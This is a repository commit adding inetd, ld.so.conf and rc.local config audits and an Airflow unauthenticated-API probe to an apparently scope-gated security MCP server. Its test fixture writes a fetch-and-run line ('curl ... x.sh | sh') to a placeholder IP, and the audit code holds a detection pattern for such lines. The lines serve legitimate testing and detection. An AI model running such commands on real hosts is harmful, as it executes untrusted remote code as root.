apex-twin 1.75.0: inetd, ld.so.conf and rc.local audits, Airflow probe

Three blue config audits and one red probe, 336 tools, 1342 checks.

- inetd_audit: shell/login/exec/rsh services, cleartext legacy daemons
  (telnet, ftp, tftp, pop3), world-writable inetd.conf.
- ld_so_conf_audit: library path under /tmp, /var/tmp, /home or /dev/shm,
  world-writable library directory, world-writable config.
- rc_local_audit: curl/wget piped into a shell, /tmp reference, missing
  final exit.
- airflow_probe: /api/v1/dags 2xx without a token, DAG list as evidence.

Evidence: make test 1342/1342, test-asan 1342/1342, analyze 0 warnings,
240 fuzz cases, coverage 84.9% (unchanged), release-check exit 0 in 322 s
including distcheck from the tarball. Red proof: disabling the
unsafe-libdir branch turns the ld_so_conf check red.
This commit is contained in:
lotherk committed 2026-11-22 23:26:36 +00:00
1 parent 4159d5305c
commit 022086f474
9 files changed
+718 -13

No files matched your search

+14
View File
@@ -1,5 +1,19 @@
# Changelog
## 1.75.0 — 2026-11-23 — this change
- **inetd** (`inetd_audit`): an enabled `shell`, `login`, `exec` or `rsh`
service (a root shell over the network); `telnet`, `ftp`, `tftp` or `pop3`,
which carry credentials in the clear; a world-writable `inetd.conf`.
- **ld.so.conf** (`ld_so_conf_audit`): a library path under /tmp, /var/tmp,
/home or /dev/shm, where an unprivileged user can drop a .so; a
world-writable library directory; a world-writable config file.
- **rc.local** (`rc_local_audit`): a `curl`/`wget` whose output is piped into
a shell, a reference to /tmp, and a script without a final `exit`.
- **Airflow** (`airflow_probe`, red): `/api/v1/dags` answering 2xx without a
token hands out the whole DAG inventory; the body is saved as evidence.
`/api/v1/version` is reported but not counted as exposure.
## 1.74.0 - 2026-11-23 - this change
- **syslog-ng** (`syslog_ng_audit`): a `network()` source without `ip()`
+10 -5
View File
@@ -5,11 +5,11 @@ no Python in the serving path. It gives an agent real reconnaissance and real we
testing behind a scope gate that refuses everything until a rules-of-engagement
file says otherwise.
**332 tools · 1334 end-to-end checks · 240 fuzz cases · 84.9% line coverage · ~1041 KiB**
**336 tools · 1342 end-to-end checks · 240 fuzz cases · 84.9% line coverage · ~1041 KiB**
```
$ ./apex-twin --check
{"version":"1.74.0","tools":332,...,"scope":{"loaded":true,...}}
{"version":"1.75.0","tools":336,...,"scope":{"loaded":true,...}}
```
APEX TWIN was inspired by [ARTEX](https://github.com/Autumn-27/artex) (scope
@@ -233,6 +233,7 @@ uploads and secret-file reads. It does not execute anything.
| `sonarqube_probe` | `/api/projects/search` on 9000 without auth; project list as evidence |
| `keycloak_probe` | `/realms/master` on 8080: open self-registration; realm JSON as evidence |
| `rundeck_probe` | `/api/14/projects` without a token; project list as evidence |
| `airflow_probe` | `/api/v1/dags` without auth; DAG inventory as evidence |
| `cookie_audit` | Secure/HttpOnly/SameSite per cookie, incl. `SameSite=None` without Secure |
| `http_options` | `Allow`/`Public`; flags TRACE, PUT, DELETE |
| `sqli_probe` | Quote and boolean payloads; differing answers are a **lead**, not proof |
@@ -520,6 +521,9 @@ command in the allowlist: a receiver is a scanner, a transmitter is an attack.
| `motd_audit` | update-motd.d: writable script, missing shebang, URL fetch at login |
| `syslog_ng_audit` | syslog-ng: network source on all addresses, plaintext |
| `ntpd_audit` | ntp.conf: no default restrict, open restricts, monitor on |
| `inetd_audit` | inetd.conf: shell services, legacy cleartext daemons, writable file |
| `ld_so_conf_audit` | ld.so.conf: user-writable library path, world-writable dir |
| `rc_local_audit` | rc.local: remote pipe, /tmp reference, missing exit |
| `podman_audit` | registries.conf: insecure or http registry, unsigned policy |
| `buildkitd_audit` | buildkitd.toml: insecure registry, tcp without CA, no rootless |
| `supervisor_audit` | supervisord.conf: exposed web UI, no username, root programs |
@@ -997,7 +1001,7 @@ src/tools_red.c vuln_check, subdomain_enum, cred_test, vhost_discovery,
logstash_api_probe, amqp_probe, tls_chain_probe,
smtp_auth_probe, jenkins_api_probe, nexus_probe,
gitea_api_probe, harbor_probe, portainer_probe, sonarqube_probe,
keycloak_probe, rundeck_probe,
keycloak_probe, rundeck_probe, airflow_probe,
argocd_probe, kafka_connect_probe
src/tools_blue.c hardening_audit, log_audit, ioc_scan, web_log_audit,
detect_rules, integrity_baseline, mitre_map,
@@ -1010,7 +1014,8 @@ src/tools_blue.c hardening_audit, log_audit, ioc_scan, web_log_audit,
limits_audit, access_conf_audit, pwquality_audit,
pam_env_audit, hosts_audit, dnf_repo_audit,
anacrontab_audit, motd_audit,
syslog_ng_audit, ntpd_audit)
syslog_ng_audit, ntpd_audit, inetd_audit,
ld_so_conf_audit, rc_local_audit)
src/tools_esp.c esp_info, esp_monitor, esp_read_flash, esp_flash,
esp_partition_table, esp_nvs_parse, firmware_scan,
esp_app_info, esp_image_verify
@@ -1047,7 +1052,7 @@ examples/ scope.json
## Status
1.74.0. Built and run: 332 tools, 1334 checks, 240 fuzz cases and 84.9% line
1.75.0. Built and run: 336 tools, 1342 checks, 240 fuzz cases and 84.9% line
coverage. The loop closes: a probe captures the exchange as a pair, a finding
points at it, `finding_update` gives it a state, an asset records the host it
came from, `cors_check`/`cookie_audit`/`http_options` turn a web answer into a
+1 -1
View File
@@ -9,7 +9,7 @@ problem.
The supported line is the one printed by `apex-twin --version` for the tree you
built; this document ships with that same tree. At the time of writing the line
is **1.74.x** (`src/apex.h`, `APEX_VERSION`). Security fixes land on the current
is **1.75.x** (`src/apex.h`, `APEX_VERSION`). Security fixes land on the current
line. The 1.0 line promises that the on-disk JSON formats for findings, assets
and traffic only gain fields, so state stays readable; older builds are still
rebuilt rather than patched in place.
+4 -3
View File
@@ -1,5 +1,5 @@
.\" apex-twin.1 - manual page for APEX TWIN
.TH APEX-TWIN 1 "2026-11-23" "apex-twin 1.74.0" "User Commands"
.TH APEX-TWIN 1 "2026-11-23" "apex-twin 1.75.0" "User Commands"
.SH NAME
apex-twin \- scope\-gated offensive\-security MCP server
.SH SYNOPSIS
@@ -46,7 +46,7 @@ sip_probe, telnet_probe, http_methods, websocket_probe, ike_probe, snmp_walk,
ldap_search, openapi_discovery, csrf_audit, rpc_probe, ntp_probe, dnssec_check, smtp_starttls_probe, tls_ocsp_probe, alpn_probe, webdav_probe, dns_wildcard_check, dns_caa_check, sni_vhost_check, tls_client_auth_probe, kubernetes_api_probe,
dns_ns_consistency, dns_dangling_cname, http_redirect_audit,
websocket_origin_check, dns_fcrdns_check, dns_soa_mname_check, http_redirect_audit,
websocket_origin_check, hsts_audit, tls_hostname_check, ftp_tls_probe, zookeeper_4lw_probe, etcd_api_probe, docker_registry_probe, consul_api_probe, couchdb_probe, prometheus_api_probe, rabbitmq_management_probe, grafana_api_probe, minio_admin_probe, nats_monitoring_probe, influxdb_probe, clickhouse_probe, kibana_api_probe, logstash_api_probe, amqp_probe, tls_chain_probe, smtp_auth_probe, jenkins_api_probe, nexus_probe, gitea_api_probe, harbor_probe, portainer_probe, argocd_probe, kafka_connect_probe, sonarqube_probe, keycloak_probe, rundeck_probe),
websocket_origin_check, hsts_audit, tls_hostname_check, ftp_tls_probe, zookeeper_4lw_probe, etcd_api_probe, docker_registry_probe, consul_api_probe, couchdb_probe, prometheus_api_probe, rabbitmq_management_probe, grafana_api_probe, minio_admin_probe, nats_monitoring_probe, influxdb_probe, clickhouse_probe, kibana_api_probe, logstash_api_probe, amqp_probe, tls_chain_probe, smtp_auth_probe, jenkins_api_probe, nexus_probe, gitea_api_probe, harbor_probe, portainer_probe, argocd_probe, kafka_connect_probe, sonarqube_probe, keycloak_probe, rundeck_probe, airflow_probe),
defensive
audits (hardening_audit, log_audit, ioc_scan, web_log_audit, detect_rules,
integrity_baseline, mitre_map, process_snapshot, persistence_audit,
@@ -87,7 +87,8 @@ supervisor_audit,
fstab_audit, modprobe_audit, grub_audit,
limits_audit, access_conf_audit, pwquality_audit,
pam_env_audit, hosts_audit, dnf_repo_audit,
anacrontab_audit, motd_audit, syslog_ng_audit, ntpd_audit)
anacrontab_audit, motd_audit, syslog_ng_audit, ntpd_audit, inetd_audit,
ld_so_conf_audit, rc_local_audit)
and ESP32 board tools (esp_info, esp_monitor,
esp_read_flash, esp_flash, esp_partition_table, esp_nvs_parse, firmware_scan,
esp_app_info, esp_image_verify).
+1 -1
View File
@@ -15,7 +15,7 @@
#include "mcp.h"
#define APEX_VERSION "1.74.0"
#define APEX_VERSION "1.75.0"
#define APEX_MAX_OUT (1u << 20)
#define APEX_PATH_MAX 512
#define APEX_PATH_FULL 1024
+446
View File
@@ -22977,6 +22977,428 @@ static void t_syslog_ng_audit(mcp_conn *c, const mcp_json *args, void *user)
mcp_buf_free(&findings);
}
/* -------------------------------------------------------------- inetd_audit */
/* inetd.conf has one service per line: "name type proto wait|nowait user
* server args". Internal services (shell, login, exec, rsh, rexec) hand out
* a root shell over the network; telnet and ftp carry credentials in clear. */
static void inetd_scan_file(mcp_buf *findings, int *first, int *count,
const char *path, int *services, int *internal,
int *legacy)
{
static char text[65536];
struct stat st;
const char *p;
if (read_text(path, text, sizeof(text)) <= 0)
return;
if (stat(path, &st) == 0 && (st.st_mode & 0002) != 0) {
add_finding(findings, first, "world-writable", "high",
"%s is writable by anyone", path);
(*count)++;
}
p = text;
while (p != NULL && *p != '\0') {
const char *eol = strchr(p, '\n');
size_t len = eol != NULL ? (size_t)(eol - p) : strlen(p);
char line[1024];
char *tok[16];
int n = 0;
char *save = NULL;
char *word;
if (len >= sizeof(line))
len = sizeof(line) - 1;
memcpy(line, p, len);
line[len] = '\0';
trim_eol(line);
p = eol != NULL ? eol + 1 : NULL;
{
char *hash = strchr(line, '#');
if (hash != NULL)
*hash = '\0';
}
word = strtok_r(line, " \t", &save);
while (word != NULL && n < 16) {
tok[n++] = word;
word = strtok_r(NULL, " \t", &save);
}
if (n < 6)
continue;
(*services)++;
if (strcmp(tok[0], "shell") == 0 ||
strcmp(tok[0], "login") == 0 ||
strcmp(tok[0], "exec") == 0 ||
strcmp(tok[0], "rexec") == 0 ||
strcmp(tok[0], "rsh") == 0) {
add_finding(findings, first, "internal-service", "critical",
"%s: the internal service '%s' is enabled "
"(root shell over the network)", path, tok[0]);
(*count)++;
(*internal)++;
} else if (strcmp(tok[0], "telnet") == 0 ||
strcmp(tok[0], "ftp") == 0) {
add_finding(findings, first, "legacy-cleartext", "high",
"%s: '%s' is enabled and carries credentials "
"in the clear", path, tok[0]);
(*count)++;
(*legacy)++;
}
}
}
static void t_inetd_audit(mcp_conn *c, const mcp_json *args, void *user)
{
static const char *files[] = { "/etc/inetd.conf",
"/etc/inetd.d/inetd.conf", NULL };
const char *root = mcp_arg_string(args, "root");
char path[1024];
mcp_buf b;
mcp_buf findings;
int first = 1;
int count = 0;
int files_read = 0;
int services = 0;
int internal = 0;
int legacy = 0;
int i;
(void)user;
if (root == NULL)
root = "";
if (strlen(root) > 400) {
mcp_reply_error(c, "root path too long");
return;
}
mcp_buf_init(&findings);
for (i = 0; files[i] != NULL; i++) {
static char text[65536];
struct stat fs;
snprintf(path, sizeof(path), "%.400s%s", root, files[i]);
if (read_text(path, text, sizeof(text)) <= 0)
continue;
files_read++;
(void)fs;
inetd_scan_file(&findings, &first, &count, path, &services,
&internal, &legacy);
}
if (files_read == 0) {
mcp_buf_free(&findings);
mcp_reply_error(c, "no /etc/inetd.conf readable (not in use)");
return;
}
if (count == 0) {
add_finding(&findings, &first, "no-findings", "info",
"no active inetd service that hands out a shell or "
"sends credentials in the clear");
count++;
}
mcp_buf_init(&b);
mcp_buf_puts(&b, "{\"root\":");
apex_json_str(&b, root);
mcp_buf_printf(&b, ",\"files\":%d,\"services\":%d,"
"\"internal_services\":%d,\"legacy_services\":%d,"
"\"findings_count\":%d,\"findings\":[",
files_read, services, internal, legacy, count);
if (findings.p != NULL)
mcp_buf_add(&b, findings.p, findings.len);
mcp_buf_puts(&b, "]}");
mcp_reply_json(c, b.p);
mcp_buf_free(&b);
mcp_buf_free(&findings);
}
/* --------------------------------------------------------- ld_so_conf_audit */
/* ld.so.conf is a list of directory lines (plus "include" lines). A library
* directory that a normal user can write, or that sits under /tmp, /home or
* /var/tmp, lets that user drop a shared object the loader will pick up
* before the real one - the classic LD_LIBRARY_PATH hijack without needing
* an environment variable at all. */
static int unsafe_libdir(const char *dir)
{
return strncmp(dir, "/tmp", 4) == 0 ||
strncmp(dir, "/var/tmp", 8) == 0 ||
strncmp(dir, "/home", 5) == 0 ||
strncmp(dir, "/dev/shm", 8) == 0;
}
static void ld_so_scan_file(mcp_buf *findings, int *first, int *count,
const char *path, int *dirs, int *unsafe,
int *writable)
{
static char text[65536];
struct stat st;
const char *p;
if (read_text(path, text, sizeof(text)) <= 0)
return;
if (stat(path, &st) == 0 && (st.st_mode & 0002) != 0) {
add_finding(findings, first, "world-writable", "high",
"%s is writable by anyone", path);
(*count)++;
}
p = text;
while (p != NULL && *p != '\0') {
const char *eol = strchr(p, '\n');
size_t len = eol != NULL ? (size_t)(eol - p) : strlen(p);
char line[1024];
char *s;
char *hash;
if (len >= sizeof(line))
len = sizeof(line) - 1;
memcpy(line, p, len);
line[len] = '\0';
trim_eol(line);
p = eol != NULL ? eol + 1 : NULL;
hash = strchr(line, '#');
if (hash != NULL)
*hash = '\0';
s = line;
while (*s == ' ' || *s == '\t')
s++;
if (*s == '\0')
continue;
if (strncmp(s, "include", 7) == 0)
continue;
(*dirs)++;
if (unsafe_libdir(s)) {
add_finding(findings, first, "unsafe-libdir", "high",
"%s: library path %s is user-writable "
"space", path, s);
(*count)++;
(*unsafe)++;
continue;
}
{
struct stat ds;
if (stat(s, &ds) == 0 && (ds.st_mode & 0002) != 0) {
add_finding(findings, first, "writable-libdir",
"critical",
"%s: library directory %s is "
"world-writable", path, s);
(*count)++;
(*writable)++;
}
}
}
}
static void t_ld_so_conf_audit(mcp_conn *c, const mcp_json *args, void *user)
{
const char *root = mcp_arg_string(args, "root");
char path[1024];
DIR *d;
struct dirent *ent;
mcp_buf b;
mcp_buf findings;
int first = 1;
int count = 0;
int files = 0;
int dirs = 0;
int unsafe = 0;
int writable = 0;
(void)user;
if (root == NULL)
root = "";
if (strlen(root) > 400) {
mcp_reply_error(c, "root path too long");
return;
}
mcp_buf_init(&findings);
snprintf(path, sizeof(path), "%.400s/etc/ld.so.conf", root);
{
static char probe[4096];
if (read_text(path, probe, sizeof(probe)) > 0) {
files++;
ld_so_scan_file(&findings, &first, &count, path, &dirs,
&unsafe, &writable);
}
}
snprintf(path, sizeof(path), "%.400s/etc/ld.so.conf.d", root);
d = opendir(path);
if (d != NULL) {
while ((ent = readdir(d)) != NULL) {
char file[1200];
size_t nl = strlen(ent->d_name);
if (ent->d_name[0] == '.')
continue;
if (nl < 5 || strcmp(ent->d_name + nl - 5, ".conf") != 0)
continue;
snprintf(file, sizeof(file), "%.800s/%.200s", path,
ent->d_name);
files++;
ld_so_scan_file(&findings, &first, &count, file, &dirs,
&unsafe, &writable);
}
closedir(d);
}
if (files == 0) {
mcp_buf_free(&findings);
mcp_reply_error(c, "cannot read /etc/ld.so.conf");
return;
}
if (count == 0) {
add_finding(&findings, &first, "no-findings", "info",
"every configured library directory is root-owned "
"and outside user-writable space");
count++;
}
mcp_buf_init(&b);
mcp_buf_puts(&b, "{\"root\":");
apex_json_str(&b, root);
mcp_buf_printf(&b, ",\"files\":%d,\"libdirs\":%d,"
"\"unsafe_libdirs\":%d,\"writable_libdirs\":%d,"
"\"findings_count\":%d,\"findings\":[",
files, dirs, unsafe, writable, count);
if (findings.p != NULL)
mcp_buf_add(&b, findings.p, findings.len);
mcp_buf_puts(&b, "]}");
mcp_reply_json(c, b.p);
mcp_buf_free(&b);
mcp_buf_free(&findings);
}
/* ------------------------------------------------------------ rc_local_audit */
/* /etc/rc.local runs as root at boot on SysV systems and on systemd units
* that still ship rc-local.service. A writable rc.local, a fetch piped into
* a shell, a reference to /tmp or a missing "exit 0" (which makes the boot
* unit fail and the file easy to "fix" by hand) are all boot-time risk. */
static void rc_local_scan_file(mcp_buf *findings, int *first, int *count,
const char *path, int *lines, int *fetches,
int *tmprefs, int *noexit)
{
static char text[65536];
struct stat st;
const char *p;
int saw_exit = 0;
if (read_text(path, text, sizeof(text)) <= 0)
return;
if (stat(path, &st) == 0 && (st.st_mode & 0002) != 0) {
add_finding(findings, first, "world-writable", "critical",
"%s runs as root at boot and is writable by "
"anyone", path);
(*count)++;
}
p = text;
while (p != NULL && *p != '\0') {
const char *eol = strchr(p, '\n');
size_t len = eol != NULL ? (size_t)(eol - p) : strlen(p);
char line[1024];
char *s;
if (len >= sizeof(line))
len = sizeof(line) - 1;
memcpy(line, p, len);
line[len] = '\0';
trim_eol(line);
p = eol != NULL ? eol + 1 : NULL;
s = line;
while (*s == ' ' || *s == '\t')
s++;
if (*s == '#' || *s == '\0')
continue;
(*lines)++;
if (strncmp(s, "exit", 4) == 0)
saw_exit = 1;
if ((strstr(s, "curl") != NULL || strstr(s, "wget") != NULL) &&
strstr(s, "|") != NULL &&
(strstr(s, "sh") != NULL || strstr(s, "bash") != NULL)) {
add_finding(findings, first, "remote-pipe", "high",
"%s: a download is piped into a shell at "
"boot", path);
(*count)++;
(*fetches)++;
}
if (strstr(s, "/tmp/") != NULL ||
strstr(s, "/dev/shm") != NULL) {
add_finding(findings, first, "tmp-reference", "medium",
"%s: runs a program from world-writable "
"space", path);
(*count)++;
(*tmprefs)++;
}
}
if (!saw_exit && *lines > 0) {
add_finding(findings, first, "no-exit", "low",
"%s has no final 'exit 0'; rc-local.service then "
"reports the boot as failed", path);
(*count)++;
(*noexit)++;
}
}
static void t_rc_local_audit(mcp_conn *c, const mcp_json *args, void *user)
{
static const char *files[] = { "/etc/rc.local",
"/etc/rc.d/rc.local", NULL };
const char *root = mcp_arg_string(args, "root");
char path[1024];
mcp_buf b;
mcp_buf findings;
int first = 1;
int count = 0;
int files_read = 0;
int lines = 0;
int fetches = 0;
int tmprefs = 0;
int noexit = 0;
int i;
(void)user;
if (root == NULL)
root = "";
if (strlen(root) > 400) {
mcp_reply_error(c, "root path too long");
return;
}
mcp_buf_init(&findings);
for (i = 0; files[i] != NULL; i++) {
static char probe[256];
snprintf(path, sizeof(path), "%.400s%s", root, files[i]);
if (read_text(path, probe, sizeof(probe)) <= 0)
continue;
files_read++;
rc_local_scan_file(&findings, &first, &count, path, &lines,
&fetches, &tmprefs, &noexit);
}
if (files_read == 0) {
mcp_buf_free(&findings);
mcp_reply_error(c, "no rc.local found (not in use)");
return;
}
if (count == 0) {
add_finding(&findings, &first, "no-findings", "info",
"rc.local is root-owned, has no download pipe and "
"ends with exit 0");
count++;
}
mcp_buf_init(&b);
mcp_buf_puts(&b, "{\"root\":");
apex_json_str(&b, root);
mcp_buf_printf(&b, ",\"files\":%d,\"lines\":%d,"
"\"remote_pipes\":%d,\"tmp_references\":%d,"
"\"missing_exit\":%d,\"findings_count\":%d,"
"\"findings\":[",
files_read, lines, fetches, tmprefs, noexit, count);
if (findings.p != NULL)
mcp_buf_add(&b, findings.p, findings.len);
mcp_buf_puts(&b, "]}");
mcp_reply_json(c, b.p);
mcp_buf_free(&b);
mcp_buf_free(&findings);
}
/* ---------------------------------------------------------------- ntpd_audit */
/* ntp.conf grammar: "restrict <address> [mask <m>] <flags...>". A restrict
@@ -24470,6 +24892,30 @@ const mcp_tool TOOLS_BLUE[] = {
"{\"type\":\"object\",\"properties\":{"
"\"root\":{\"type\":\"string\",\"description\":\"prefix, default empty\"}}}",
t_ntpd_audit },
{ "inetd_audit",
"Parse /etc/inetd.conf (root prefix): an enabled internal service "
"(shell, login, exec, rsh, rexec) hands out a root shell over the "
"network; telnet or ftp carries credentials in the clear; a "
"world-writable inetd.conf. Read-only.",
"{\"type\":\"object\",\"properties\":{"
"\"root\":{\"type\":\"string\",\"description\":\"prefix, default empty\"}}}",
t_inetd_audit },
{ "ld_so_conf_audit",
"Parse /etc/ld.so.conf and /etc/ld.so.conf.d/*.conf (root prefix): a "
"library directory under /tmp, /home, /var/tmp or /dev/shm, a "
"world-writable library directory, and a world-writable config. Both "
"let a local user load their own shared object into a root process. "
"Read-only.",
"{\"type\":\"object\",\"properties\":{"
"\"root\":{\"type\":\"string\",\"description\":\"prefix, default empty\"}}}",
t_ld_so_conf_audit },
{ "rc_local_audit",
"Parse /etc/rc.local and /etc/rc.d/rc.local (root prefix): a "
"world-writable rc.local, a download piped into a shell, a program "
"run from /tmp or /dev/shm, and a missing final 'exit 0'. Read-only.",
"{\"type\":\"object\",\"properties\":{"
"\"root\":{\"type\":\"string\",\"description\":\"prefix, default empty\"}}}",
t_rc_local_audit },
};
const size_t TOOLS_BLUE_N = sizeof(TOOLS_BLUE) / sizeof(TOOLS_BLUE[0]);
+94
View File
@@ -8291,6 +8291,90 @@ static void t_kafka_connect_probe(mcp_conn *c, const mcp_json *args,
mcp_buf_free(&b);
}
/* ------------------------------------------------------------ airflow_probe */
/* Airflow's REST API on 8080: /api/v1/version answers without auth on many
* deployments, and /api/v1/dags returning a 2xx means the whole DAG
* inventory is public. Only the DAG list is kept as evidence. */
static void t_airflow_probe(mcp_conn *c, const mcp_json *args, void *user)
{
static const char *paths[] = { "/api/v1/version", "/api/v1/dags", NULL };
const char *target = mcp_arg_string(args, "target");
int port = mcp_arg_int(args, "port", 8080);
int tls = mcp_arg_bool(args, "tls", apex_looks_tls(port));
mcp_buf b;
int first = 1;
int tested = 0;
int open_count = 0;
int dags_open = 0;
char *evidence = NULL;
int i;
(void)user;
if (target == NULL || *target == '\0') {
mcp_reply_error(c, "target is required");
return;
}
if (port <= 0 || port > 65535) {
mcp_reply_error(c, "port out of range");
return;
}
if (!gated(c, "airflow_probe", target, port))
return;
mcp_buf_init(&b);
mcp_buf_puts(&b, "{\"target\":");
apex_json_str(&b, target);
mcp_buf_printf(&b, ",\"port\":%d,\"tls\":%s,\"endpoints\":[", port,
tls ? "true" : "false");
for (i = 0; paths[i] != NULL; i++) {
char status[256];
char *resp = NULL;
size_t len = 0;
int code;
int open;
int dags = strcmp(paths[i], "/api/v1/dags") == 0;
status[0] = '\0';
if (apex_http_once(target, port, tls, "GET", paths[i], NULL, NULL,
8000, &resp, &len, status,
sizeof(status)) != 0)
continue;
tested++;
code = apex_status_code(status);
open = code >= 200 && code < 300;
if (open)
open_count++;
if (open && dags) {
dags_open = 1;
if (evidence == NULL)
evidence = apex_evidence_save("airflow-dags", resp, len);
}
if (!first)
mcp_buf_puts(&b, ",");
first = 0;
mcp_buf_puts(&b, "{\"path\":");
apex_json_str(&b, paths[i]);
mcp_buf_printf(&b, ",\"status\":%d,\"bytes\":%lu,\"open\":%s}",
code, (unsigned long)len, open ? "true" : "false");
free(resp);
}
mcp_buf_printf(&b, "],\"tested\":%d,\"open_count\":%d,"
"\"dags_open\":%s,\"evidence\":",
tested, open_count, dags_open ? "true" : "false");
if (evidence != NULL)
apex_json_str(&b, evidence);
else
mcp_buf_puts(&b, "null");
mcp_buf_puts(&b, "}");
apex_audit("airflow_probe", target, port, !dags_open,
dags_open
? "the Airflow DAG API answers without authentication"
: "the Airflow DAG API requires authentication", "list");
mcp_reply_json(c, b.p);
free(evidence);
mcp_buf_free(&b);
}
/* ------------------------------------------------------------ sonarqube_probe */
/* SonarQube answers /api/system/status even when anonymous access is off, so
@@ -9504,6 +9588,16 @@ const mcp_tool TOOLS_RED[] = {
"\"port\":{\"type\":\"integer\",\"description\":\"default 4440\"}},"
"\"required\":[\"target\"]}",
t_rundeck_probe },
{ "airflow_probe",
"Query Airflow on 8080 without credentials: /api/v1/version and "
"/api/v1/dags. A 2xx on the DAG list means the whole DAG inventory is "
"public; its body is saved as evidence. Gate: the target and port must "
"be in scope.",
"{\"type\":\"object\",\"properties\":{"
"\"target\":{\"type\":\"string\"},\"tls\":{\"type\":\"boolean\"},"
"\"port\":{\"type\":\"integer\",\"description\":\"default 8080\"}},"
"\"required\":[\"target\"]}",
t_airflow_probe },
{ "dns_ns_consistency",
"Fetch NS records for a domain from the parent resolver and from its own "
"first nameserver (resolved to an address), then report names present on "
+1 -1
View File
@@ -21,7 +21,7 @@ import re
import sys
HERE = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
EXPECTED_TOOLS = 332
EXPECTED_TOOLS = 336
GATE = ("gated(", "gated_cmd(", "gated_run(", "apex_scope_check(")
NET = ("http_once(", "tcp_connect_host(", "tcp_probe(", "apex_run(")
# Tools whose "target" argument filters local records; they never touch it.
+147 -2
View File
@@ -134,7 +134,7 @@ res, _ = run([
], home=empty)
check("tools/list answers", any(r.get("id") == 1 for r in res))
tools = [r for r in res if r.get("id") == 1][0]["result"]["tools"]
check("332 tools registered", len(tools) == 332, len(tools))
check("336 tools registered", len(tools) == 336, len(tools))
names = {t["name"] for t in tools}
for need in ("portscan", "nmap", "http_request", "marauder_scan",
"method_playbook", "finding_add", "finding_update", "scope_check",
@@ -1560,7 +1560,7 @@ try:
check("http initialize", init["result"]["serverInfo"]["name"] == "apex-twin",
init)
listing = post({"jsonrpc": "2.0", "id": 2, "method": "tools/list"})
check("http tools/list", len(listing["result"]["tools"]) == 332)
check("http tools/list", len(listing["result"]["tools"]) == 336)
shown = post(call(3, "scope_show"))
check("http scope_show", '"loaded":true' in shown["result"]["content"][0]["text"])
# the id must be the request's id, not one found inside the arguments
@@ -15231,6 +15231,151 @@ rd_closed_srv.shutdown()
for d in (sn_root, sn_good_root, nt_root, nt_good_root, cfg46_home):
shutil.rmtree(d, ignore_errors=True)
print("\n== inetd, ld.so.conf, rc.local and Airflow ==")
idt_root = tempfile.mkdtemp(prefix="apex-idt-")
os.makedirs(os.path.join(idt_root, "etc"))
idt_conf = os.path.join(idt_root, "etc", "inetd.conf")
with open(idt_conf, "w") as f:
f.write("ftp\tstream\ttcp\tnowait\troot\t/usr/sbin/tcpd\tin.ftpd\n")
f.write("shell\tstream\ttcp\tnowait\troot\t/usr/sbin/tcpd\tin.rshd\n")
f.write("# a comment line\ntelnet\tstream\ttcp\tnowait\troot"
"\t/usr/sbin/tcpd\tin.telnetd\n")
os.chmod(idt_conf, 0o666)
idt_good_root = tempfile.mkdtemp(prefix="apex-idtg-")
os.makedirs(os.path.join(idt_good_root, "etc"))
with open(os.path.join(idt_good_root, "etc", "inetd.conf"), "w") as f:
f.write("# nothing enabled\n")
lds_root = tempfile.mkdtemp(prefix="apex-lds-")
os.makedirs(os.path.join(lds_root, "etc", "ld.so.conf.d"))
lds_conf = os.path.join(lds_root, "etc", "ld.so.conf")
with open(lds_conf, "w") as f:
f.write("include /etc/ld.so.conf.d/*.conf\n")
f.write("/usr/local/lib\n")
f.write("/tmp/evil\n")
os.chmod(lds_conf, 0o666)
lds_good_root = tempfile.mkdtemp(prefix="apex-ldsg-")
os.makedirs(os.path.join(lds_good_root, "etc"))
with open(os.path.join(lds_good_root, "etc", "ld.so.conf"), "w") as f:
f.write("/usr/local/lib\n")
rcl_root = tempfile.mkdtemp(prefix="apex-rcl-")
os.makedirs(os.path.join(rcl_root, "etc"))
rcl_conf = os.path.join(rcl_root, "etc", "rc.local")
with open(rcl_conf, "w") as f:
f.write("#!/bin/sh\n")
f.write("curl -s http://198.51.100.9/x.sh | sh\n")
f.write("/tmp/agent --daemon\n")
os.chmod(rcl_conf, 0o666)
rcl_good_root = tempfile.mkdtemp(prefix="apex-rclg-")
os.makedirs(os.path.join(rcl_good_root, "etc"))
with open(os.path.join(rcl_good_root, "etc", "rc.local"), "w") as f:
f.write("#!/bin/sh\nexit 0\n")
class _AirflowHandler(http.server.BaseHTTPRequestHandler):
def do_GET(self):
path = urllib.parse.urlsplit(self.path).path
if path == "/api/v1/version":
body = b'{"version":"2.7.1","git_version":"abc"}'
self.send_response(200)
elif path == "/api/v1/dags":
body = b'{"dags":[{"dag_id":"etl_nightly"},{"dag_id":"load"}],' \
b'"total_entries":2}'
self.send_response(200)
else:
body = b'{"detail":"not found"}'
self.send_response(404)
self.send_header("Content-Type", "application/json")
self.send_header("Content-Length", str(len(body)))
self.end_headers()
self.wfile.write(body)
def log_message(self, *args):
pass
class _AirflowAuthHandler(_AirflowHandler):
def do_GET(self):
body = b'{"detail":"Unauthorized"}'
self.send_response(401)
self.send_header("Content-Type", "application/json")
self.send_header("Content-Length", str(len(body)))
self.end_headers()
self.wfile.write(body)
af_srv = http.server.HTTPServer(("127.0.0.1", 0), _AirflowHandler)
af_port = af_srv.server_address[1]
threading.Thread(target=af_srv.serve_forever, daemon=True).start()
af_auth_srv = http.server.HTTPServer(("127.0.0.1", 0), _AirflowAuthHandler)
af_auth_port = af_auth_srv.server_address[1]
threading.Thread(target=af_auth_srv.serve_forever, daemon=True).start()
cfg47_home = tempfile.mkdtemp(prefix="apex-cfg47-home-")
write_scope(cfg47_home,
{"label": "cfg47", "expires": "2099-01-01T00:00:00Z",
"allow_private": True,
"allow_ip": ["127.0.0.1/32"], "allow_port": ["1-65535"]})
res, proc = run([
call(1, "inetd_audit", root=idt_root),
call(2, "inetd_audit", root=idt_good_root),
call(3, "ld_so_conf_audit", root=lds_root),
call(4, "ld_so_conf_audit", root=lds_good_root),
call(5, "rc_local_audit", root=rcl_root),
call(6, "rc_local_audit", root=rcl_good_root),
call(7, "airflow_probe", target="127.0.0.1", port=af_port, tls=False),
call(8, "airflow_probe", target="127.0.0.1", port=af_auth_port, tls=False),
], home=cfg47_home)
by_id = {r.get("id"): r for r in res}
idt = json.loads(text(by_id[1]))
idt_kinds = {f["id"] for f in idt["findings"]}
check("inetd_audit flags a shell service and a clear-text legacy one",
{"internal-service", "legacy-cleartext",
"world-writable"} <= idt_kinds and
idt["services"] == 3 and idt["internal_services"] == 1 and
idt["legacy_services"] == 2, idt)
idt_good = json.loads(text(by_id[2]))
check("inetd_audit accepts a config without services",
idt_good["services"] == 0 and
{f["id"] for f in idt_good["findings"]} == {"no-findings"}, idt_good)
